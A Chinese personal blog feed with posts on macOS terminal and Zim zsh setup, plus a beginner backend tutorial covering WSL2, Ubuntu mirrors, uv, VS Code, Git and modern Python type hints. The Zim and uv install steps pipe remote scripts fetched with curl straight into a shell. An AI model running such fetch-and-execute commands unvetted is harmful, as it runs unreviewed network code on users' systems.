[window]
option_as_alt = "Both"

ssh 到 RHEL 等系统的渲染错误问题

当你在本机运行 Alacritty 并 SSH 到远程主机时，本机的 Alacritty 会设置环境变量：TERM=alacritty。这告诉远程系统：“我是一个叫 alacritty 的终端，请用这个类型的渲染方式来处理颜色、光标移动、退格、清屏等控制序列。”

但问题是 Red Hat 默认的 /usr/share/terminfo 里没有 alacritty 这个定义。

所以它看到 $TERM=alacritty 时，只能“随便猜”或者退回到某种兼容模式（通常是 dumb、xterm 或 vt100），导致：

颜色错乱（它不理解 256 色甚至 true color 的控制码）
Backspace 逻辑不对（字符删除信号被解释成插入空格）
提示符/补全的高亮样式全变色（因为属性码错位）

1
2
3
4


infocmp alacritty > alacritty.info
scp alacritty.info user@rhel:/tmp/
ssh user@rhel
tic -x /tmp/alacritty.info

容器

macOS 上无法直接使用 linux 内核功能，因此容器和 windows 一样需要使用虚拟机实现，因此 macOS 上的容器不仅需要 CLI 还需要虚拟机 daemon。

最主流的容器虚拟机的选择是 Docker Desktop + Docker CLI

1
2


brew install --cask docker # Docker Desktop
brew install docker docker-compose # Docker CLI 和 compose

虽然所有的操作完全可以使用 docker CLI 完成，但它总归会让人需要见到 GUI。

如果想纯 CLI，macOS 上另一个容器虚拟机的比较流行的选择是开源的 colima

1

brew install docker docker-compose colima

需要启动容器前，可以 colima start，不需要的时候 colima stop。毕竟是虚拟机，平时不用的时候可以稍微省点电。

另一个选择是 Orbstack，个人免费使用但有少些限制，商业付费。据说比 colima 使用体验丝滑很多，但我还没尝试过。目前 colima 对我来说够用。

其他效率工具

下面的工具只有 Raycast 是我常用的，另外几个我还没折腾过。

Raycast

Raycast 是 macOS 上的一款快速启动器，表面看似乎只是 Spotlight 的替代品（即 ⌘ Space），但实际上更像一个开发者取向的系统操作平台，可以说是用键盘控制 macOS 的一切。不仅能打开应用、搜索文件，还能直接操作系统功能、运行命令、调用 API、触发脚本、访问第三方服务。所有操作几乎都通过快捷键完成。

个人使用免费，功能完整。Pro 订阅才包括云同步、AI 助手、共享命令等功能，不过这些功能都可有可无，免费版已经足够强大。

Hammerspoon

可以 lua 脚本接管各种系统级别输入，使得 macOS 实际上也可以被高度定制化。比如让窗口自动平铺、对齐、调整大小、移动到指定屏幕，监听 Wi-Fi 状态切换、USB 设备插拔、屏幕变化、甚至电量和音量事件，然后自动执行脚本。

BetterTouchTool

能拦截 Force Click、三指手势等，并重新映射，但是收费。

Scroll Reverser

专门分开触控板和鼠标滚轮的滚动方向。

Karabiner-Elements

能改键盘、鼠标、触控板底层事件。

我的 Zim Framework 安装和配置

Mon, 27 Oct 2025 15:32:11 +0800

初次知道 zim 是在 Archlinux 简明指南。体感上确实比 Oh-my-zsh 快一些，主要快在启动速度。这一点在使用 tmux 之类的时候，频繁创建关闭终端，体感上会比较明显。

之前 Arch 上的 zim 配置了什么东西没有记下来，早就忘了，没记错的话就几乎只是跟着上面的教程装了个 p10k。现在入手了 Macbook air，准备把自己的工作流配置都记录一下。这篇博客会是其中的一篇。

Zim 安装

Zim Framework 官网上的指令:

1

curl -fsSL https://raw.githubusercontent.com/zimfw/install/master/install.zsh | zsh

重进终端，可以看到终端样式已经变了。.zshrc 文件中也多出了 zim 生成的配置内容。大部分一般不用更改。我习惯把编辑模式改成 vi 模式：

1
2
3
4


# ~/.zshrc

# Set editor default keymap to emacs (`-e`) or vi (`-v`)Vj
bindkey -v

同时 zim 安装后创建了 .zimrc。zim 插件的安装方式基本上就是，在这里面加 zmodule，然后 zimfw install 一下。

一般只要仓库根目录存在一个可以被 source 的 .zsh 文件，就可以被视作一个 zmodule。只要在 .zimrc 添加: zmodule author/repo，然后 zim 会自己 clone, 加载。

zim 默认提供了很多指令别名。见: Zim Framework Docs - Cheatsheet。个人不常用。

插件配置

powerlevel10k

一个比较好用的 zsh 主题。已经停止维护但够稳定好用。以后也许会试试 Starship，但我懒得折腾。

想通过 zim 安装其他插件

安装前建议先安装 JetBrainsMono Nerd Font。

我使用 Alacritty，设置字体可以修改 ~/.config/alacritty/alacritty.toml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


# ~/.config/alacritty/alacritty.toml

[font]
size = 16.0

[font.normal]
family = "JetBrainsMono Nerd Font"
style = "Regular"

[font.bold]
family = "JetBrainsMono Nerd Font"
style = "Bold"

[font.italic]
family = "JetBrainsMono Nerd Font"
style = "Italic"

[font.bold_italic]
family = "JetBrainsMono Nerd Font"
style = "Bold Italic"

要使用 zim 安装 p10k，在 .zimrc 中添加：

1
2


# ~/.zimrc
zmodule romkatv/powerlevel10k --use degit

然后 zimfw install，并重启终端。会进入 p10k 的初始化配置流程。选择自己喜欢的样式。

fzf

fzf 是一个通用的命令行模糊查找工具。

首先需要安装 fzf。

1

brew install fzf

之后在终端中输入 fzf 会发现已经可用。

基本上，你可以将 fzf 视为“grep”的交互式版本，我们现在只是安装了这个程序。

根据 fzf 文档，我们可以在 Shell 中集成 fzf，可以用到一些好用的快捷键。官方文档的方式是在 .zshrc 中添加 source <(fzf --zsh)。

但使用 zim 管理，我们可以在 .zimrc 中添加：

1
2
3
4
5


# ~/.zimrc

# fzf 
zmodule fzf
zmodule Aloxaf/fzf-tab

其中第二个插件可以让 fzf 接管终端中的 tab 操作。

现在可以使用文档中描述的快捷键了。

对于 macOS，其中的 Alt+C 尝试用 option+C 会发现输入的是 C 的特殊字符。实际上，会发现可以用 esc+C 或者先按 ESC 再按 C 来替代。早年终端没有独立的 Alt 键，有人约定 Alt+X 等同于先发一个 ESC 再发一个 X。后面为了兼容依旧沿用这个设定。

我使用的是 alacritty，可以添加以下配置

1
2
3
4


# ~/.config/alacritty/alacritty.toml

[window]
option_as_alt = "Both"

语法高亮

据 TheCW 的一个视频所说，用这个语法高亮会更快一点。我跟风做了。

1
2
3
4


# ~/.zimrc

# zmodule zsh-users/zsh-syntax-highlighting
zmodule zdharma-continuum/fast-syntax-highlighting

更多的插件可以自己探索一下。比如看看 Zim Framework - Module, 看看有什么官方维护的 Zim 插件，或是看看别的技术佬用了啥。对我自己而言，已经不想再折腾这那，够用了就行。

不再继续参与 HDU-CS-Wiki 维护的声明

Sun, 28 Sep 2025 16:53:58 +0800

本人将不再参与 HDU-CS-Wiki 的维护。此前提及的 “HDU-CS-Wiki 后端教程”，现暂定统一改名为《Veno 的后端教程》。今后该教程的全部内容仅在本博客发布。若在其他平台出现本博客教程的内容，均视为转载，需遵循 CC BY-NC-SA 4.0 协议，并标明原文链接，侵权必究。

博客迁移到 Stack 主题

Tue, 16 Sep 2025 18:07:21 +0800

从 PaperMod 主题迁移到了 Stack 主题。

本来说想给小登写一个博客配置教程的，犯懒癌了。觉得还行的话可以直接 fork 我的仓库修修改改，想动手的可以翻 Stack 文档和 Hugo 文档。

1.2 Lab0

Sun, 10 Aug 2025 00:09:19 +0800

:::warning 如果你在本篇遇到任何的网络问题或疑似网络问题，请向学长私聊求助。 :::

工欲利其事，必先利其器。Lab 0 中我们会进行基础的开发环境搭建，并补全一些你可能不知道的 Python 知识。

概念普及

这一小节给大家普及本篇文档可能你会遇到的陌生词语

Linux? 发行版(distro)?

Linux 严格意义上指的是 Linus Torvalds 最初编写的那个系统内核（kernel）。一个“能用的操作系统”= 内核 + 一堆用户态工具(命令行工具、包管理器、桌面环境…) + 配置 + 生态整合。不同的社区或公司，会在同一个 Linux 内核基础上，搭建并打包自己的“发行版”(distribution, 简写 distro)。

常见发行版：Ubuntu、Debian、Fedora、Arch、openSUSE、CentOS / Rocky / Alma、RHEL 等。它们的差异主要体现在：

包管理器不同（Ubuntu 用 APT，Fedora 用 DNF，Arch 用 pacman）
默认预装的软件 & 配置不同
软件版本策略（偏“新”还是偏“稳”）
社区/企业支持方式（社区滚动更新 vs 企业长期维护 LTS）

你现在在 WSL 装的 Ubuntu，就是“Ubuntu 发行版”。说“我用的是 Linux”通常在实际语境里=“我用的是某个 Linux 发行版”。

:::tip 什么时候需要关心“发行版差异”？写/跑代码 -> 几乎不用纠结；部署生产、写系统级脚本、看教程命令对不上时 -> 才需要意识到“也许是发行版不一样”。 :::

:::warning 小坑网上复制的命令如果带 yum / dnf / pacman 而你系统里只有 apt，不要怀疑人生——只是发行版不一样，换成对应包管理器就好。 :::

Shell? 终端(Terminal)?

Terminal（终端）是一个“窗口/程序”，负责把你敲的字符传给后面真正执行命令的“Shell”，再把结果展示出来。Shell 则是“命令解释器”——接收你输入的文本命令，解析、执行，然后输出结果。

类比：

终端 = 聊天窗口
Shell = 正在和你对话、帮你办事的“客服”

常见 Shell：bash、zsh、fish、powershell（不是 Linux 传统 shell 但理念类似）。你在 WSL 里默认启动的一般是 bash；很多开发者会换成更好用（补全更强/主题更丰富）的 zsh + oh-my-zsh。

如何知道自己当前 shell？

1

echo $SHELL

:::tip “我打开 VS Code 内置终端”“我在 Windows Terminal 新建了一个标签页”——这些动作都是在启动一个“终端程序实例”；里面跑的那一行提示符（veno@pc:~$）背后那个解释命令的才是 shell。 :::

:::warning Ctrl+C 在 shell 中 Ctrl + C 不是复制，是“向前台进程发送中断信号”（终止当前正在运行的命令）。复制请用 Ctrl + Shift + C（在大多数终端里）。 :::

包管理器

包管理器（package manager）= “下载/安装/升级/卸载软件/库的自动化工具 + 依赖关系解决器”。

举些例子：

操作系统层面：

Ubuntu: apt (sudo apt install xxx), snap…
Fedora: dnf
Arch: pacman, yay, paru
。。。

编程语言生态层面：

Python: pip / (最推荐的) uv / poetry / pdm
Node.js: npm / pnpm / yarn
Rust: cargo
。。。

为什么需要包管理器？

自动解决依赖：安装 A 顺便装它需要的 B/C
版本管理：指定版本/锁定版本避免“昨天能跑今天炸”
统一卸载：不会在系统角落留下一堆孤儿文件

虚拟机和容器

虚拟机（Virtual Machine, VM）= 在你的物理机器（Host）里，用软件模拟出另一套“硬件”并在其上运行一个“客体操作系统”。常见软件：VMware、VirtualBox、Hyper-V、WSL2（底层也用类似虚拟化能力）。

它解决什么问题？

隔离：不同项目/系统互不影响
一致性：开发、测试、线上使用一致环境
安全：把“可能作死”的尝试关在沙盒里

你可能还见过一个词叫“容器”，简单来说容器就是比虚拟机更轻量更快的系统级隔离工具，同样后端开发中经常用到。

“虚拟机”和“容器” 区别（简化理解）：

虚拟机：Guest OS 完整存在 -> 较重 -> 启动慢
容器：共享宿主机内核，只隔离文件/进程/网络命名空间 -> 轻量 -> 启动快

WSL2 其实就是：微软做的一层“极轻量虚拟机 + 与 Windows 深度整合的文件/网络桥接”。

:::tip “我到底该用 WSL 还是直接装虚拟机？”——写后端/学 Linux → 先用 WSL 足够；需要研究内核、做内核模块、玩系统级实验 → 真 VM, 或者直接装实体机 Linux :::

Python 虚拟环境

Python 虚拟环境 (virtual environment, venv) = 给某个项目准备的一份“隔离的 Python 解释器 + 其 site-packages 目录”。这样不同项目的依赖（版本）互不污染。

为什么必须用？

你 A 项目需要 fastapi==0.115.x，B 项目还停在 0.110.x，全局安装会冲突。
线上部署要复现本地依赖组合，需要可复制、可锁定的环境。

常见方式：

标准库 python -m venv venv + source venv/bin/activate
uv / poetry / pipenv / pdm：在“虚拟环境 + 依赖锁定 + 脚本运行”上提供更高级封装

uv 做了什么？

自动创建/复用隔离环境
解析 pyproject.toml 里声明的依赖
生成/使用锁文件（uv.lock）保证团队一致

:::tip 判断当前是否已激活虚拟环境执行 which python / which pip，如果路径落在项目缓存/虚拟目录里（而不是 /usr/bin/python3），就说明你在“虚拟”里。或者看提示符是否多了形如 (venv) 的前缀（取决于工具）。 :::

:::warning 常见误区

“我已经有 WSL 或虚拟机了，还需要 Python 虚拟环境吗？”——需要。系统级环境隔离 ≠ 语言级依赖隔离。
“直接全局 pip install 不是更简单吗？”——初期简单，后期灾难：版本冲突、无法复现、卸不干净，可能在项目中引入别人没有的依赖也无法发觉。

:::

开发环境配置

Windows 配置流程

安装 WSL2

WSL2 (Windows Subsystem for Linux 2)，本质上其实是一个运行在 Windows 的轻量级 Linux 虚拟机。

大多数后端服务最终会部署在 Linux 服务器中，因此对于后端学习，我们最好尽快熟悉 Linux 的命令行操作。

对于 Windows 10 版本 2004 及更高版本（内部版本 19041 及更高版本）或 Windows 11 ，使用以下教程：

如何使用 WSL 在 Windows 上安装 Linux

对于 Windows 10 老版本（低于上面所说的版本），参考：

旧版 WSL 的手动安装步骤

上面的微软式中文文档经过一些零基础小白的测试，已经确定会给他们造成一些歧义，而英文不会。你可以选择切换到英文阅读上面给出的官方文档，或者跟着本流程走一遍。

下面我们正式开始 WSL2 的安装。

如果你是 Windows 11, 那么打开你的 Windows 开始菜单，搜索“终端”或“Terminal”或“Windows Terminal”，你应该能搜到这个应用，它是默认附加在 Windows 11 上的。通过这个应用你可以更方便地以标签页的方式开启和管理你的 Shell 窗口，就像浏览器的标签页一样。

我们使用它打开一个管理员权限的 Powershell, 在其中输入：

1

wsl --install

如果这里你出现了一些奇怪的报错，比如下图:

403 实际上是 HTTP 状态码 403 Forbidden, 这也是网络报错，请向学长私聊求助。

:::tip

截至编写本教程时，wsl –install 会默认安装 Ubuntu 24.04 LTS 版本。本教程假设你安装的是该版本。

:::

这个指令会自动帮你启用 Windows 的虚拟机平台功能，并安装 Ubuntu 作为 WSL 的默认发行版。安装完成之后，如果可能的话，则会自动启动 Ubuntu, 开始用户名和密码的初始化。

但你大概率之前没有启用过虚拟机平台功能，除非你安装过 VMWare 之类的虚拟机软件。这个时候并不会自动启动 Ubuntu。此时界面应当会类似下图：

此时虚拟机平台功能和 Ubuntu 都已经成功安装，只是因为虚拟机平台功能需要重启电脑才能启用，因此才没有自动启动 Ubuntu 。

我们需要重启电脑，再次打开 Windows Terminal, 在 Powershell 中输入:

1

wsl

如此即可启动 Ubuntu。你也可以在 Windows Terminal 中将 Ubuntu 添加到下拉菜单快捷启动列表里，以后启动会更方便。

系统将要求你为 Linux 发行版创建“用户名”和“密码”。用户名建议使用3-8个英文小写字符。

此用户名和密码特定于安装的每个单独的 Linux 分发版，与 Windows 用户名无关。
注意，输入密码时，屏幕上不会显示任何内容。这称为盲人键入。你不会看到你正在键入的内容，这是完全正常的。
创建用户名和密码后，该帐户将是分发版的默认用户，并将在启动时自动登录。
此帐户将被视为 Linux 管理员，能够运行 sudo (Super User Do) 管理命令。
在 WSL 上运行的每个 Linux 发行版都有其自己的 Linux 用户帐户和密码。每当添加分发版、重新安装或重置时，都必须配置一个 Linux 用户帐户。

设置用户名和密码之后，我们正式完成了 WSL 的安装。

注意区分，本文以后的所有命令行操作如果未说明，则默认是在 Ubuntu 的 Shell 环境中运行，而不是 Powershell。

设置镜像源

由于网络原因，我们需要给 Ubuntu 设置软件仓库的镜像源，才能正常安装软件包。

:::tip 网站镜像（mirror sites, mirrors；镜像站点，镜像网站）是指对网站内容的拷贝，这类网站通常具有与原站不同的URL，但托管了相同或者是几乎相同的内容。镜像原意是光学里指的物体在镜面中所成之像。引申到计算机网络上，镜像通常用于为相同信息内容提供不同的源，特别是在下载量大的时候提供了一种可靠的网络连接。 :::

这里我们使用清华大学镜像站。在搜索引擎搜索ubuntu 清华镜像，你应该可以搜到下面的网站。

ubuntu | 镜像站使用帮助 | 清华大学开源软件镜像站

我们使用的是 24.04 LTS。想确认你的 wsl 安装了什么版本的 ubuntu，你可以运行:

1

lsb_release -a

镜像站使用帮助中有这样的描述：

在 Ubuntu 24.04 之前，Ubuntu 的软件源配置文件使用传统的 One-Line-Style，路径为 /etc/apt/sources.list；从 Ubuntu 24.04 开始，Ubuntu 的软件源配置文件变更为 DEB822 格式，路径为 /etc/apt/sources.list.d/ubuntu.sources。

将系统自带的对应文件做个备份，然后根据格式的选择下面对应的内容替换，即可使用选择的软件源镜像。

要备份，其实就是复制一份原文件出来的意思。Linux 中的复制指令是cp, 即 copy 的缩写。

1
2


sudo cp /etc/apt/sources.list.d/ubuntu.sources /etc/apt/sources.list.d/ubuntu.sources.bak
# 这里相当于复制了一份文件到ubuntu.sources.bak, 之后可以放心修改 ubuntu.sources 了。

之后，选择 DEB882 格式的正确 Ubuntu 版本，复制它生成的配置，替换原来的镜像源文件内容。

1

sudo nano /etc/apt/sources.list.d/ubuntu.sources

输入指令，你会看到类似这样的界面(文件名没有 .bak):

:::tip nano 是 Unix 和类 Unix 系统中的一个终端文本编辑器。它通过 Control 键来控制。比如 Ctrl+O 保存当前文件；Ctrl+W 进入搜索菜单。nano 在屏幕底部显示两行快捷键，列出了当前状态下能用的命令。如果要查看完整的列表，可以按 Ctrl+G 进入帮助屏幕。nano同时支持用鼠标点击屏幕下方的快捷键来操作。 :::

下面快捷键提示中的^指的是 Ctrl，M 是“Meta 键”的缩写，在这里实际上是指 Alt 键。

我们需要删除文件原来的内容，把我们刚刚从网站上复制的配置复制进去。按住 Shift + 方向键下, 控制光标选中文件全部内容，之后^K Cut剪切掉。

这里之所以是剪切而不是退格，是因为 nano 中 Backspace 只会删除掉光标之前的一个字符，而不是删除我们选中的内容。删除掉文件原来的内容之后，我们向文件中用Ctrl + Shift + V粘贴我们刚刚从镜像站复制的配置。

:::warning 注意这里 nano 使用的粘贴板是独立的，并不是 Windows 的粘贴板，也就是我们不应该使用^U快捷键粘贴我们复制的配置，我们实际上是通过 Windows Terminal ，将 Windows 的粘贴板内容粘贴到 shell 中。你实际上应该使用的“粘贴”快捷键是 Ctrl + Shift + V。同样，要复制内容我们也是加上 Shift，即 Ctrl + Shift + C。

在 shell 中，Ctrl + C 一般是终止进程的快捷键。 :::

正确粘贴之后，内容应该像这样：

接下来保存文件。^O保存文件，会询问保存的文件名，直接回车保持文件名原样即可。之后^X退出 nano。

修改完镜像源之后，我们更新软件仓库，保证同步:

1

sudo apt update && sudo apt upgrade

:::tip 有没有觉得这些配置编辑操作相当麻烦？你可以尝试学习使用 vim 编辑器，当你熟练使用之后，我们在终端编辑这种配置文件会比 nano 便捷的多。未来的开发中，我们将不可避免地经常在终端中编辑配置文件。 :::

Python 环境配置

本教程基于 Python 3.12 或更高版本。截止教程编写时，wsl 默认安装 Ubuntu 24.04 LTS ，该版本已经默认安装了 Python 3.12.3。

在 ubuntu 中查看当前的 Python 版本:

1

python3 --version

你可能听说过 pip, 它是 Python 基础的包管理器。但现代 Python 开发中我们一般使用更为便捷的包和项目管理器，例如 uv, poetry, pdm 等。本教程使用 uv。

uv 是一个比较新的工具，Ubuntu 软件源不一定包含。我们使用官方的安装脚本:

1

curl -LsSf https://astral.sh/uv/install.sh | sh

如果安装正确，输出应类似下图:

这个输出告诉我们，要使用 uv, 我们需要重启一个 Shell。我们新开一个 Ubuntu 窗口即可。

uv 是一个很强大的工具，建议阅读它的文档，学习使用。

VS Code 配置

本教程使用 VS Code 作为我们的 IDE。

省流：VS Code + WSL 插件 + Python 相关插件

安装 VS Code。下载链接

安装并打开之后，在左侧的插件栏搜索简体中文插件以及 WSL 插件，安装。之后我们就可以在 ubuntu 中使用code指令打开 Windows 中的 VS Code 了。

我们首先使用 uv 创建我们的第一个 Python 项目:

1
2
3
4
5
6
7


$ cd ~ # 移动到家目录(/home/veno)。家目录通常被 "~" 指代
$ pwd # 显示当前工作目录 (present working diretory)
/home/veno/
$ mkdir -p Projects/ && cd Projects/ # 创建 Projects/ 文件夹并进入
$ uv init backend_tutorial # 初始化我们的第一个 Python 项目
Initialized project `backend-tutorial` at `/home/veno/Projects/backend_tutorial`
$ code backend_tutorial # 在 backend_tutorial 文件夹打开 VSCode

:::tip

在文档中，对于多条指令，$字符一般是为了标识一条指令的开头。偷懒复制粘贴的时候可别把$也一起复制进去了。

:::

此时 Ubuntu WSL 应该会自动开始安装 VSCode 服务器，并打开一个 VS Code 窗口:

uv 很方便吧？一下就帮我们把项目初始化好了。

之后，我们在 Ubuntu 的 VS Code 中安装我们所需的所有插件。注意你需要把插件安装到 “WSL:UBUNTU”，而不是“本地”。

你至少需要安装：Python, Pylance, Git Graph。你可以自己探索其他好用的插件。

本 wiki 的 C-Start 课程提供的 VS Code 的配置文件中有一套开箱即用的 C/C++ 配置。你可以参考这个配置文件中好用的插件。大多数时候，等到需要写什么格式的文件再装什么插件就行。

Git 配置

Git 用于我们项目的版本控制。现在不熟悉没关系，你暂时只需要记住一些基础操作就行。

首先我们在 Ubuntu 安装 git:

1

sudo apt install git

安装之后，需要先进行一些配置工作。输入以下指令:

1
2


git config --global user.name "Zhang San" # your name
git config --global user.email "zhangsan@foo.com" # your email

放心，这里的 name 和 email 只是一个标识符，不会真有人给你发验证邮件什么的，填的邮箱不存在也无所谓。在你每次提交代码的时候你都得靠这个标签来说明这个版本是谁提交的。要不然 git 会不让你提交代码。

想学习 Git 的基本操作，你可以看看Learn Git Branching, 闯关式，交互式的 git 教程，很有意思。

关于 Git 和 Github 的更多内容你可以参考旧版 Wiki。

Linux 配置流程

你都装上 Linux 了，该自己动手丰衣足食了(

MacOS 配置流程

我没有 Macbook，等一个有 Macbook 的好心人提一个 PR。

Python 开发知识普及

根据本教程的前置知识要求，你至少已经学会了一门编程语言的基本语法了，或许学的就是 Python。为了以后少走一点弯路，我们在 Lab 0 补齐一些现代 Python 开发的知识。

Type Hint(类型提示)

Python 是一门强类型，动态类型的语言！ 虽然 Python 作为解释型语言看起来语法很随意，类型很随意，但它实际上是有严格的类型验证的，只不过和编译语言不同，Python 作为解释型动态类型语言，对类型的检查被放在了运行时。关于这一点。你可以阅读 Stack Overflow - Is Python Strongly Typed?

在后端世界，代码不再是几十行的小脚本了，而是成百上千行，多人协作，需要长期维护的复杂系统。类型注解是一个必须项。

确保你阅读FastAPI 文档 - Python 类型提示简介

通过写类型注解，你可以明确声明各种变量的类型，并让你的 IDE 在编写代码时就帮你检查类型。写代码时候的这点多敲的字永远好过代码上线之后，周末凌晨被叫起来修 bug 的痛苦。并且有类型注解之后，才能利用好 IDE 的自动补全功能，这会极大提高你的开发效率。

基本上除了 Python, 大多数语言都需要你写出明确的类型声明。趁早适应这一点，别被 Python 惯坏了。

现代类型标注写法

教程使用 Python 3.12。我们不是开发一个开源库，也不是维护什么企业历史遗留项目，不需要考虑兼容问题。因此本教程将全面使用现代类型标注写法。

现代写法更加简洁易读，性能更优，并且与现代 Python 后端框架的集成度更好。

上面的 FastAPI 文档中的大多数写法都是兼容到 Python 3.8+。这里我大概列举一下现代写法和旧写法的参照，建议遵循现代写法来写 Python 代码。

联合类型(Union Types)

现代(3.10+): 使用|操作符

1
2
3
4
5
6


def get_by_id(uid: int | str) -> dict | None:
 ...

# Optional[str] 的现代写法是 str | None
def get_name() -> str | None:
 ...

旧写法:

1
2
3
4
5
6
7


from typing import Union, Optional

def get_by_id_old(uid: Union[int, str]) -> Union[dict, None]:
 ...

def get_name_old() -> Optional[str]:
 ...

标准集合类型

现代(3.9+): 直接使用内置集合类型, 如list, dict, tuple, set。

1
2
3
4
5
6
7
8
9


def process_data(items: list[str], mapping: dict[str, int]) -> set[str]:
 ...

def get_coordinates() -> tuple[float, float]:
 ...

# 嵌套集合类型
def get_user_groups() -> dict[str, list[dict[str, str]]]:
 ...

旧写法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


from typing import List, Dict, Set, Tuple

def process_data_old(items: List[str], mapping: Dict[str, int]) -> Set[str]:
 ...

def get_coordinates_old() -> Tuple[float, float]:
 ...

def get_user_groups_old() -> Dict[str, List[Dict[str, str]]]:
 ...

类型别名

现代(3.12+): 使用type语句定义类型别名

1
2
3
4
5
6
7
8
9


type UserId = int
type UserData = dict[str, str | int]
type UserList = list[UserData]

def get_user(uid: UserId) -> UserData | None:
 ...

def get_all_users() -> UserList:
 ...

旧写法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


from typing import TypeAlias

UserId: TypeAlias = int
UserData: TypeAlias = dict[str, str | int]
UserList: TypeAlias = list[UserData]

# 或者更老的写法
UserId = int
UserData = dict[str, str | int]
UserList = list[UserData]

泛型

现代(3.12+): 使用类型参数语法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


# 泛型函数
# 直接在函数名后用方括号定义类型变量
def get_first[T](elements: list[T]) -> T | None:
 return elements[0] if elements else None

# 可以对类型变量进行约束
type Number = int | float
def add[N: Number](a: N, b: N) -> N: # 约束 N 必须是 Number 的子类型
 return a + b

# 泛型类
# 新写法：直接在类名后用方括号定义类型变量
class Box[T]:
 def __init__(self, content: T):
 self.content = content

 def get_content(self) -> T:
 return self.content

# 使用泛型类
int_box: Box[int] = Box(123)
str_box: Box[str] = Box("hello")


# 泛型类型别名
# 新写法：在别名定义中使用方括号
type ListOrNone[T] = list[T] | None

def process_data(data: ListOrNone[str]) -> None:
 ...

旧写法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


from typing import TypeVar, Generic, Union

# 1. 必须先定义 TypeVar
T = TypeVar('T')
Number = TypeVar('Number', bound=Union[int, float]) # 约束的旧写法

# 2. 泛型函数
def get_first_old(elements: list[T]) -> T | None:
 ...

# 3. 泛型类，需要继承 Generic[T]
class BoxOld(Generic[T]):
 def __init__(self, content: T):
 self.content = content
 ...

返回自身实例

现代(3.11+): 使用Self类型

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


from typing import Self

class User:
 def __init__(self, name: str) -> None:
 self.name = name

 def set_name(self, name: str) -> Self:
 self.name = name
 return self

 def copy(self) -> Self:
 return User(self.name)

 @classmethod
 def create_admin(cls) -> Self:
 return cls("admin")

旧写法处理实例创建的时候会有问题:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52


from __future__ import annotations
from typing import TypeVar

S = TypeVar('S', bound='ShapeOld')

class ShapeOld:
 def __init__(self, scale: float = 1.0):
 self.scale = scale

 def set_scale(self: S, scale: float) -> S:
 """这个方法签名看起来没问题，可以正确地在子类中返回子类类型。"""
 self.scale = scale
 return self

 def clone(self: S) -> S:
 """
 我们希望克隆一个与 self 类型完全相同的对象 (T)。
 但是，我们只能调用已知的基类构造器 `ShapeOld()`。
 如果 self 是一个 CircleOld 实例，调用 ShapeOld() 返回的却是一个 ShapeOld 实例。
 这与签名的 -> S 承诺相违背，所以静态类型检查器会报错，我们被迫要type: ignore。
 因此 子类必须重写 clone 方法来返回正确的类型，会导致不可避免的代码重复。
 """
 return ShapeOld(self.scale) # Type "ShapeOld" is not assignable to return type "S@clone"

class CircleOld(ShapeOld):
 def __init__(self, scale: float = 1.0, radius: float = 5.0):
 super().__init__(scale)
 self.radius = radius

 def set_radius(self: S, radius: float) -> S:
 """这是一个子类特有的方法。"""
 self.radius = radius # Cannot assign to attribute "radius" for class "ShapeOld*"
 return self

 # def clone(self: S) -> S:
 # """
 # 重写 clone 方法以返回正确的 CircleOld 类型。
 # 这会导致代码重复，因为我们需要手动调用基类构造器。
 # """
 # return CircleOld(self.scale, self.radius)

c_old = CircleOld(scale=1.0, radius=5.0)

c_old.set_scale(1.5).set_radius(10)
print(f"c_old 修改后半径: {c_old.radius}") # 输出: 10

cloned_old = c_old.clone()

print(f"克隆出的对象类型: {type(cloned_old)}") # 输出: <class '__main__.ShapeOld'>


cloned_old.set_radius(20) # AttributeError: 'ShapeOld' object has no attribute 'set_radius

类型注解(Annotated Pattern)

现代(3.9+): 用于给类型附加额外的元数据，主要被 FastAPI、Pydantic、Typer 等现代框架使用，用于实现依赖注入、数据校验等功能。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


from typing import Annotated
from pydantic import Field, StringConstraints

# Pydantic 数据校验
class User:
 name: Annotated[str, StringConstraints(min_length=1, max_length=50)]
 age: Annotated[int, Field(ge=0, le=150)]
 email: Annotated[str, Field(pattern=r'^[\w\.-]+@[\w\.-]+\.\w+$')]

# FastAPI 依赖注入
from fastapi import Depends, FastAPI

def get_db():
 # 数据库连接逻辑
 pass

def get_user(user_id: int, db: Annotated[Database, Depends(get_db)]):
 return db.get_user(user_id)

旧写法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# 没有 Annotated 时，只能在函数体或类定义中通过其他方式实现校验和依赖注入
from pydantic import BaseModel, Field

class User(BaseModel):
 name: str = Field(..., min_length=1, max_length=50)
 age: int = Field(..., ge=0, le=150)
 email: str = Field(..., regex=r'^[\w\.-]+@[\w\.-]+\.\w+$')

# FastAPI 早期写法
def get_user(user_id: int, db=Depends(get_db)):
 return db.get_user(user_id)

Type Checking

在 VS Code 中 Ctrl + , 快捷键打开设置，或是从左下角打开设置，搜索 Pylance type checking mode, 有这样的设置：

开启之后，Pylance 插件会自动检查你的类型问题，在你运行代码前就帮你指出。

随便写点小脚本的时候至少开 standard 或者 basic, 但任何严肃项目都肯定是要开 strict 的。

我的个人习惯是，不管什么时候都开着 strict, 养成良好的代码习惯。

1.1 入门篇教学大纲

Sat, 09 Aug 2025 23:56:22 +0800

:::warning 📌 施工中 :::

Before Beginning

前置知识需求: CS61A, 或掌握至少一门编程语言（如Python）的扎实基础，理解函数、类、简单数据结构（列表、字典、集合等）、递归等核心编程概念, 畅通的网络环境, 了解Python的基础写法, 基本的英语阅读能力, 提问的艺术, 基础CLI操作

第一部分：后端基础 (Python + FastAPI + SQLModel)

教学目标(一)

快速上手: 让学生在几小时内，从零开始搭建起一个功能完整的 CRUD (增删改查) API。
建立自信: 通过 FastAPI 强大的自动文档和 SQLModel 的易用性，让学生感受到现代工具带来的便捷，消除对后端的畏难心理。
文档阅读: FastAPI 有着非常用户友好的文档, 利用它来培养阅读文档的习惯. 这也是本教程选择SQLModel而不是SQLAlchemy的原因之一
正确使用AI: 不要让Copilot变成Copybot
